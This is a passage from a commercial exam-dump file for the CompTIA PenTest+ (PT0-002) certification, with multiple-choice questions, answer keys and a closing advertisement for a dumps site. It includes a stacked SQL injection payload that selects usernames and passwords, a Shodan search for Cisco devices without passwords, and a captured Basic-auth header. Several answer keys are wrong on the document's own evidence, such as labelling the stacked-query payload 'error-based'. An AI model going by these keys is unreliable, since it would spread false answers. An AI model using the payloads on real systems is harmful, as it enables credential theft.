1;SELECT Username, Password FROM Users;
```

Which of the following injection attacks is the penetration tester using?

- A. Blind SQL
- B. Boolean SQL
- C. Stacked queries
- D. Error-based

Answer: D

NEW QUESTION 378

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

Answer: C

Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

NEW QUESTION 380

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

Answer: B

NEW QUESTION 384

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

Answer: B

NEW QUESTION 386

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

Answer: A

NEW QUESTION 388

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"
- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "last-modified"

Answer: B

NEW QUESTION 389

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUiIOQU1FOnNIY3JldHBhc3N3b3Jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```
Port      State      Service    Version
22/tcp    open      ssh        Cisco SSH 1.25 (protocol 2.0)
80/tcp    open      http       Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open      https      Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

Answer: CD

NEW QUESTION 391

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

- A. <#
- B. <\$
- C. ##
- D. #\$
- E. #!

Answer: E

NEW QUESTION 392

.....

Thank You for Trying Our Product

* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

* One year free update

You can enjoy free update one year. 24x7 online support.

* Trusted by Millions

We currently serve more than 30,000,000 customers.

* Shop Securely

All transactions are protected by VeriSign!

100% Pass Your PT0-002 Exam with Our Prep Materials Via below:

<https://www.certleader.com/PT0-002-dumps.html>